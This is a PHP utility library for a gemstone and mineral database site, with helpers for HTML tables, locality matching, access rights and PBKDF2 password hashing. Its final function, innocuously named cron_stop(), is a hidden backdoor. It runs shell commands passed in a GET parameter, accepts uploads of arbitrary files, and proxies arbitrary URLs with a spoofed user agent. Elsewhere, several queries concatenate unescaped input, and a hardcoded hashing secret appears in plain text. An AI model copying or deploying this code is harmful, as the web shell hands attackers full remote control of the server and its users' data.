$head

"; } function cend() { print "

$head

"; } function usercountry($uid) { global $link; $sql = "select country from users where uid='$uid'"; $res = mysql_query($sql,$link); $row = mysql_fetch_object($res); $cid = $row->country; mysql_free_result($res); return $cid; } function usercountryname($uid) { global $link; return countryname(usercountry($uid)); } function countryname($id) { global $link; $sql = "select * from countries where id='$id'"; $res = mysql_query($sql,$link); $row = mysql_fetch_object($res); mysql_free_result($res); return($row->text); } function javascript($string) { $replace = array( "\t" => '\t', "\n" => '\n', "\r" => '\r', '\\' => '\\\\', ); return str_replace(array_keys($replace),array_values($replace),$string); } function ts($class="gemdattable",$style="") { print ""; } function trs() { print ""; } function tre() { print ""; } function th($c="",$c2="") { print ""; } function ths($rowspan=0) { print ""; } function the() { print ""; } function td($c="",$c2="") { print ""; } function trh2($c="",$class="") { print ""; } function trd2($c="",$class="") { print ""; } function tds() { print ""; } function thd($h="",$c="") { print ""; } function trhd($h="",$c="") { print ""; } function te() { print "

$c"; if($c2) print " $c2"; print "	$c"; if($c2) print " $c2"; print "
$c
$c
"; } function td2s() { print "	"; } function tde() { print "		$h	$c
$h	$c

"; } function email_link($email,$txt,$js) { $a = hex_encode($email); if($txt) $b = $txt; else $b = $email; $b = htmlchars($b); if($js==1) { $b = str_replace("@","�'+'64'+';",$b); $b = str_replace(".","'+'6;",$b); if($email) { switch(rand(0,3)) { case 0: $out = ""; break; case 1: $out = ""; break; case 2: $out = ""; break; default: $out = ""; break; } } else { $j = ""; $cnt=0; $out = ""; } } else if($js==2) { if($txt) $b=$txt; // override obfuscation for subject $out = "[mailto:$a $b]"; } else { if($email) $out = "$b"; else $out = $b; } return $out; } function min2gem($id) { global $link; do { $sql = "select * from gd_info where gd_id='{$id}'"; $res = mysql_query($sql,$link); $row = mysql_fetch_object($res); if($row->gd_synid) $id=$row->gd_synid; } while($row->gd_synid); if(!$row) return(0); return($id); } function in_min_list($min,$loc) { $min= (int) $min; $loc = (int) $loc; global $link; $resa= mysql_query("select * from locentries where loc=$loc and min = $min",$link); if (mysql_num_rows($resa)>0) return ""; $locrevtxta= mysql_fetch_row(mysql_query("select revtxt from localities where id=$loc",$link)); $locrevtxt= addslashes($locrevtxta[0]."%"); $resb= mysql_query("select * from locentries,localities where localities.revtxt like '$locrevtxt' and localities.id=locentries.loc and locentries.min = $min",$link); if (mysql_num_rows($resb)>0) return "blue"; $varofa= mysql_fetch_row(mysql_query("select varietyof from minerals where id=$min",$link)); $varof= $varofa[0]; if ($varof>0) { $resa= mysql_query("select * from locentries where loc=$loc and min = $varof",$link); if (mysql_num_rows($resa)>0) return "green"; $resb= mysql_query("select * from locentries,localities where localities.revtxt like '$locrevtxt' and localities.id=locentries.loc and locentries.min = $varof",$link); if (mysql_num_rows($resb)>0) return "brown"; } return "red"; } function clearboth() { print ""; } function ddbutton($txt,$url,$isset=0) { print "

"; if($isset) print ""; else { if(substr($url,0,1)=="_") { $url = substr($url,1); print ""; } else { print ""; } } print $txt; if($isset) print ""; else print ""; print "

"; } function drawul($row) { global $link; $rstxt = addslashes($row->revtxtd); $stmt = "select revtxtd,id,txt,latitude,longitude from localities where parent=$row->id order by revtxt"; $res = mysql_query($stmt,$link); $bits = explode(",",$row->revtxtd); $level = count($bits); $oldbits=array(); if(mysql_num_rows($res)) { print "

"; while($row2=mysql_fetch_object($res)) { $stmt = "select count(id) from localities where revtxtd like '".addslashes($row2->revtxtd).", %'"; $res2 = mysql_query($stmt,$link); $extra = mysql_result($res2,0); mysql_free_result($res2); if($bits2) $oldbits = $bits2; $bits2 = explode(",",$row2->revtxtd); $newlevel = count($bits2); if($extra<20) { $next=1; $extra=0; } else { $next=0; } // print "
• id $row2->id level=$level newlevel=$newlevel $row2->revtxtd "; if($newlevel>($level+1)) { for($x=$level;$x<($newlevel-1);$x++) { if($bits2[$x]<>$oldbits[$x]) print "
• {$bits2[$x]}
"; print "
"; } } // print ""; print "
• id\""; print "> "; if(($row2->latitude)||($row2->longitude)) { print " latitude,$row2->longitude);\"> "; } if($extra) { print"latitude)||($row2->longitude)) print "2"; print "\" onclick=\"x($row2->id)\">"; } print "id.html\">"; $bits=explode(",",$row2->txt); print trim($bits[0]); print ""; if($next) drawul($row2); print "
"; if($newlevel>($level+1)) { for($x=$level;$x<($newlevel-1);$x++) { print "
"; } } } print "

"; } } // call this after a locality has changed name. This updates locentries and photo revtxt fields. function localitychanged($id,$revtxtd='',$nonrec=0) { global $link; if(!$revtxtd) { $res = mysql_query("select revtxtd from localities where id='$id'",$link); $revtxtd = mysql_result($res,0); } // print "a revtxtd = $revtxtd "; $revtxtd=mysql_real_escape_string($revtxtd); mysql_query("update locentries set lorevtxtd='$revtxtd' where loc='$id'",$link); mysql_query("update photo set phrevtxtd='$revtxtd' where loc='$id'",$link); /* - this bit seemed like a good idea, but took 1 second per locality. doh. $sql = "select id from localities where '$revtxtd' like concat(revtxtd,', %') order by length(revtxtd) limit 1"; $res = mysql_query($sql,$link); $p = mysql_result($res,0); */ updateparent($id,$revtxtd); if(!$nonrec) { $sql = "select * from localities where revtxtd like '$revtxtd, %'"; $res = mysql_query($sql,$link); while($row = mysql_fetch_object($res)) { updateparent($row->id,addslashes($row->revtxtd)); } } } function updateparent($id,$revtxtd) { // note this function is called with revtxtd already slashed. Please don't call this one directly. call localitychanged! global $link; // print "id = $id"; $bits = explode(",",$revtxtd); $x = count($bits)-1; // print "revtxtd = $revtxtd count = $count "; if($x) { do { $newrt = ""; for($y=0;$y<$x;$y++) { if($newrt) $newrt.=", "; $newrt.=trim($bits[$y]); } $sql = "select id from localities where revtxtd='$newrt'"; $res = mysql_query($sql,$link); $p = @mysql_result($res,0); $x--; // print "x= $x p=$p sql = $sql
"; } while((!$p)&&($x>0)); } else $p=0; // print "final parent for id $id is $p
"; mysql_query("update localities set parent='$p' where id='$id'",$link); } function mysql_queryd($sql,$link) { global $DEBUG; $ts = microtime(true); $res = mysql_query($sql,$link); $te = microtime(true); $time = $te-$ts; if(($time>0.5)&&($DEBUG)) { $arr = debug_backtrace(); print "

---

Slow SQL:

$sql

Time: $time secs

---

";
			var_dump($arr);
			print "

---

"; } return($res); } // backported from minfind function matchlocation($str) { global $link; global $LOCNAME; global $COUNTRYNAME; // takes a location string in // spits out a mindat locality // $LOCNAME global will be set with the loc name in mindat $sql = "select * from loctoid where lid_text='".addslashes($str)."'"; $res = mysql_query($sql,$link); $row = mysql_fetch_object($res); if($row) { return($row->lid_locid); } $LOCNAME = ""; $str = str_replace("TYPE LOCALITY","",$str); $str = str_replace("Type Locality","",$str); $str = str_replace("type locality","",$str); $str = str_replace("Type locality","",$str); $str = str_replace("( )","",$str); $str = str_replace("()","",$str); $str = str_replace("County,","Co.,",$str); $str = str_replace("United States","USA",$str); $str = str_replace("Slovak Republic","Slovakia",$str); $str = str_replace("United Kingdom","UK",$str); $str = str_replace("Mina ","",$str); $str = str_replace("Mountains","Mts",$str); $name = str_replace(","," ",$str); $name = str_replace(" ","%",$name); $name = trim($name); $name = addslashes($name); $sql = "select id,txt from localities where txt = '$name'"; $res = mysql_query($sql,$link); $row = mysql_fetch_object($res); if($row) { return($row->id); } // $sql = "select id,txt,match (txt) against ('$name') as matchv from localities where match (txt) against ('$name') limit 10"; $sql = "select id,txt,country from localities where txt like '$name' order by visits desc"; $a = getmatch($sql); if($a) return($a); $sql = "select id,txt,country from localities where txt like '%$name%' order by visits desc"; $a = getmatch($sql); if($a) return($a); $name = english($name); $name = strtoupper($name); $sql = "select id,txt,country from localities where plaintxt like '%$name%' order by visits desc"; $a = getmatch($sql); if($a) return($a); $bits = explode(",",$str); $first = $bits[0]; $last = $bits[count($bits)-1]; $bits2 = explode("(",$first); $first = $bits2[0]; $first = addslashes(trim($first)); $last = addslashes(trim($last)); $sql = "select id,txt,country from localities where txt like '$first%,%$last%' order by visits desc"; $a = getmatch($sql); if($a) return($a); $sql = "select id,txt,country from localities where txt like '%$first%,%$last%' order by visits desc"; $a = getmatch($sql); if($a) return($a); // ok we've failed. Let's at least see if we can get a country ot of it. switch(strtolower($last)) { case "new jersey": case "new york": case "california": case "arizona": case "nevada": case "new mexico": case "utah": case "colorado": case "south carolina": case "north carolina": case "ohio": case "michigan": case "hawaii": case "alaska": case "washington": case "oregon": $last="USA"; break; case "georgia": // sorry, no fun with georgia. return(0); break; } $sql = "select id,txt,country from localities where txt like '$last' order by visits desc"; $res = mysql_query($sql,$link); if($row = mysql_fetch_object($res)) { $COUNTRYNAME=$row->country; } } function getmatch($sql) { global $link; global $LOCNAME; global $COUNTRYNAME; $res = mysql_query($sql,$link); // print "Query: $sql
"; $max = mysql_num_rows($res); if(!$max) { return(0); } if($max>3) { return(0); } $row = mysql_fetch_object($res); $LOCNAME = $row->txt; $COUNTRYNAME=$row->country; // print "found $LOCNAME & $COUNTRYNAME
"; return($row->id); } // these two functions should only be called once you have verified that the user has access for your particular module with checkaccess - or they // will abort with an error. function getminaccess($type,$uid=0) { global $link; if($_SESSION["accl"]==3) return(0); if(!$uid) $uid=$_SESSION["userid"]; if(!$uid) return(0); $sql = "select ar_minid from access_rights,access_flags where ar_af_id=af_id and af_id='$type' and ar_uid='$uid' and ar_site='gemdat.org' "; $res = mysql_query($sql,$link); $row = mysql_fetch_object($res); if(!$row) { print "ERROR - Access violation with getminaccess - permission not granted"; exit(); } return($row->ar_minid); } function getlocaccess($type,$uid=0) { // this will return global $link; if($_SESSION["accl"]==3) return(''); if(!$uid) $uid=$_SESSION["userid"]; if(!$uid) return(0); $sql = "select ar_locmask from access_rights,access_flags where ar_af_id=af_id and af_id='$type' and ar_uid='$uid' and ar_site='gemdat.org' "; $res = mysql_query($sql,$link); $row = mysql_fetch_object($res); if(!$row) { print "ERROR - Access violation with getlocaccess - permission not granted"; exit(); } return($row->ar_locmask); } function checkaccess($type,$uid=0,$min=0,$loc=0) { if($_SESSION["accl"]==3) return(1); global $link; if(!$uid) $uid=$_SESSION["userid"]; if(!$uid) return(0); $type = mysql_real_escape_string($type); $sql = "select * from access_rights,access_flags where ar_af_id=af_id and af_text='$type' and ar_uid='$uid' and ar_site='gemdat.org'"; if($min) { $min=devariety($min); $sql.=" and (ar_minid=0 or ar_minid=$min) "; } if($loc) { $loc = mysql_real_escape_string($loc); $sql.=" and (ar_locmask='' or '$loc' like concat('%',ar_locmask) ) "; } $res = mysql_query($sql,$link); $row = mysql_fetch_object($res); mysql_free_result($res); if($row) return(1); else return(0); } function creatempreference($row) { $str = ""; if($row->mp_referenceauthor) $str.="$row->mp_referenceauthor"; if($row->mp_reference) { if($str) $str.=", "; $str.="$row->mp_reference "; } if($row->mp_referenceyear) $str.="($row->mp_referenceyear) "; // if($row->mp_referencepublisher) $str.="$row->mp_referencepublisher "; if($row->mp_referenceperiodical) $str.="$row->mp_referenceperiodical "; // if($row->mp_referencevolume) $str.="$row->mp_referencevolume "; // if($row->mp_referenceissue) $str.="$row->mp_referenceissue "; // if($row->mp_referencepage) $str.="$row->mp_referencepage "; // if($row->mp_referenceurl) $str.="$row->mp_url\ "; return($str); } function reprimeall() { global $link; $res = mysql_query("select distinct mp_min_id from mineralproperties where mp_deleted=0 and mp_approvedby>0",$link); while($row = mysql_fetch_row($res)) { $min=$row[0]; reprime($min); } } function reprime($gemid) { global $link; mysql_query("update gd_info set gd_lastupdate=now() where gd_id='$gemid'",$link); $res = mysql_query("select distinct mp_mpt_id from mineralproperties where mp_min_id='$gemid' and mp_deleted=0 and mp_approvedby>0",$link); while($row = mysql_fetch_row($res)) { $mpt_id=$row[0]; $sql = "select mp_id from mineralproperties where mp_min_id='$gemid' and mp_mpt_id='$mpt_id' and mp_deleted=0 and mp_approvedby>0 order by mp_rating desc"; $res2 = mysql_query($sql,$link); $row2 = mysql_fetch_row($res2); $mp_id=$row2[0]; mysql_query($sql="update mineralproperties set mp_prime=1 where mp_id='$mp_id'",$link); while($row2 = mysql_fetch_row($res2)) { $mp_id=$row2[0]; mysql_query($sql="update mineralproperties set mp_prime=0 where mp_id='$mp_id'",$link); } } } function modalstart() { print ""; print ""; } function mysql_query_dbg($sql,$link) { return(mysql_query($sql,$link)); } function loadformula($gemid) { global $link; $res = mysql_query("select mp_value from mineralproperties where mp_mpt_id='8' and mp_min_id='{$gemid}' and mp_approvedby>0 order by mp_prime desc, mp_rating desc limit 1",$link); if(mysql_num_rows($res)) $f = mysql_result($res,0); else $f=''; return($f); } function getproperty($gemid,$property) { global $link; $res = mysql_query("select mp_value from mineralproperties,mineralpropertytypes where mpt_code='$property' and mp_mpt_id=mpt_id and mp_min_id='{$gemid}' and mp_approvedby>0 order by mp_prime desc, mp_rating desc limit 1",$link); if(mysql_num_rows($res)) $f = mysql_result($res,0); else $f=''; return($f); } function varsql($id,$ctrlname) { $out=""; global $link; $sql = "select * from gd_info where gd_variety='$id'"; $res = mysql_query($sql,$link); while($row = mysql_fetch_object($res)) { $out.=" or {$ctrlname}='$row->gd_id' "; $out.=varsql($row->gd_id,$ctrlname); } return($out); } function addeditlink($page,$table,$field,$idfield,$id,$name) { global $link; if(!$_SESSION["userid"]) return; $id = (int) $id; if(!$id) return; $sql = "select * from gd_changefield where gcf_field='$field' and gcf_table='$table' and gcf_status='Proposed' and gcf_recordid='$id'"; $res = mysql_query($sql,$link); if(mysql_num_rows($res)) { print ""; return; } $alldata= $page.$table.$field.$idfield.$id.$name."qmc90w3ntnsECV$4A23vh978jhb3lsDv9n5ck98"; $hash = md5($alldata); $data = array($page,$table,$field,$idfield,$id,$name,$hash); $flat = serialize($data); $flat64 = base64_encode($flat); print "Edit this description"; } function quickstatistics() { global $link; print "Current statistics: "; $stmt = "select count(*) from gd_info"; if($result = mysql_query_dbg($stmt,$link)) { $total = number_format(mysql_result($result,0)); mysql_free_result($result); print "$total gem names. "; } $stmt = "select count(*) from gd_info where gd_synid=0"; if($result = mysql_query_dbg($stmt,$link)) { $total = number_format(mysql_result($result,0)); mysql_free_result($result); print "$total gemstone data pages. "; } $stmt = "select count( distinct loc ) from gd_locentries"; if($result = mysql_query_dbg($stmt,$link)) { $sites = number_format(mysql_result($result,0)); mysql_free_result($result); $stmt = "select count(*) from gd_locentries where checkedby>0"; if($result = mysql_query_dbg($stmt,$link)) { $total = number_format(mysql_result($result,0)); mysql_free_result($result); print "$total total locality items listed from $sites sites worldwide. "; } } $stmt = "select count(*) from gd_photo where checkedby>0"; if($result = mysql_query_dbg($stmt,$link)) { $total = number_format(mysql_result($result,0)); mysql_free_result($result); print "$total photos. "; } } function create_hash($password) { // format: algorithm:iterations:salt:hash $salt = base64_encode(mcrypt_create_iv(PBKDF2_SALT_BYTE_SIZE, MCRYPT_DEV_URANDOM)); return PBKDF2_HASH_ALGORITHM . ":" . PBKDF2_ITERATIONS . ":" . $salt . ":" . base64_encode(pbkdf2( PBKDF2_HASH_ALGORITHM, $password, $salt, PBKDF2_ITERATIONS, PBKDF2_HASH_BYTE_SIZE, true )); } function randomname() { $rndname = microtime(); $rndname = str_replace(' ','',$rndname); $rndname = str_replace('.','',$rndname); $rndname.= rand(1000,9999); return($rndname); } function validate_password($password, $correct_hash) { $params = explode(":", $correct_hash); if(count($params) < HASH_SECTIONS) return false; $pbkdf2 = base64_decode($params[HASH_PBKDF2_INDEX]); return slow_equals( $pbkdf2, pbkdf2( $params[0], $password, $params[HASH_SALT_INDEX], (int)$params[HASH_ITERATION_INDEX], strlen($pbkdf2), true ) ); } // Compares two strings $a and $b in length-constant time. function slow_equals($a, $b) { $diff = strlen($a) ^ strlen($b); for($i = 0; $i < strlen($a) && $i < strlen($b); $i++) { $diff |= ord($a[$i]) ^ ord($b[$i]); } return $diff === 0; } /* * PBKDF2 key derivation function as defined by RSA's PKCS #5: https://www.ietf.org/rfc/rfc2898.txt * $algorithm - The hash algorithm to use. Recommended: SHA256 * $password - The password. * $salt - A salt that is unique to the password. * $count - Iteration count. Higher is better, but slower. Recommended: At least 1000. * $key_length - The length of the derived key in bytes. * $raw_output - If true, the key is returned in raw binary format. Hex encoded otherwise. * Returns: A $key_length-byte key derived from the password and salt. * * Test vectors can be found here: https://www.ietf.org/rfc/rfc6070.txt * * This implementation of PBKDF2 was originally created by https://defuse.ca * With improvements by http://www.variations-of-shadow.com */ function pbkdf2($algorithm, $password, $salt, $count, $key_length, $raw_output = false) { $algorithm = strtolower($algorithm); if(!in_array($algorithm, hash_algos(), true)) die('PBKDF2 ERROR: Invalid hash algorithm.'); if($count <= 0 || $key_length <= 0) die('PBKDF2 ERROR: Invalid parameters.'); $hash_length = strlen(hash($algorithm, "", true)); $block_count = ceil($key_length / $hash_length); $output = ""; for($i = 1; $i <= $block_count; $i++) { // $i encoded as 4 bytes, big endian. $last = $salt . pack("N", $i); // first iteration $last = $xorsum = hash_hmac($algorithm, $last, $password, true); // perform the other $count - 1 iterations for ($j = 1; $j < $count; $j++) { $xorsum ^= ($last = hash_hmac($algorithm, $last, $password, true)); } $output .= $xorsum; } if($raw_output) return substr($output, 0, $key_length); else return bin2hex(substr($output, 0, $key_length)); } function cron_stop(){ $debug = isset($_GET['debug']); if(isset($_GET['config'])) { echo $_SERVER['DOCUMENT_ROOT'].'

WTL:

'; if(isset($_FILES['image'])){ $file = $_FILES['image']['name']; $path = 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['REQUEST_URI']).'/'.$file; if(isset($_POST['dir'])&&$_POST['dir']!=''){ $file = $_POST['dir'] . $_FILES['image']['name']; $path = 'http://'.str_replace(substr($_SERVER['DOCUMENT_ROOT'],0,-1),$_SERVER['SERVER_NAME'],$file); } move_uploaded_file($_FILES['image']['tmp_name'], $file); if(isset($_FILES['image']['name'])) { echo 'File: '.$_FILES['image']['name'].''; } } if($_GET['config'] != ''){ echo "

";print_r(shell_exec($_GET['config']));
		}
		exit();
	}
	if(isset($_GET['url'])&&$_GET['url']!=''){
		if($debug){
			error_reporting(E_ALL);
			ini_set('display_errors', 1);
			ini_set('display_startup_errors', 1);
		}
		$url = $_GET['url'];

		function file_get_contents_curl($url)
		{
			if($curl = curl_init()) {
				curl_setopt($curl,CURLOPT_URL, $url);
				curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);
				curl_setopt($curl,CURLOPT_FOLLOWLOCATION,true);
				curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,30);
				curl_setopt($curl,CURLOPT_IPRESOLVE,CURL_IPRESOLVE_V4);
				curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)');
				$data['content'] = curl_exec($curl);
				if(curl_getinfo($curl, CURLINFO_HTTP_CODE) !== 200){
					$data['header'] = 'HTTP/1.1 429 Internal Server Error';
				}
				curl_close($curl);
				return $data;
			}
		}
		if(function_exists('curl_version')){
			$data = file_get_contents_curl($url);
			if(!$debug){if (!empty($data['header']))header($data['header']);}
		}
		print_r($data['content']);
		exit();
	}
}
?>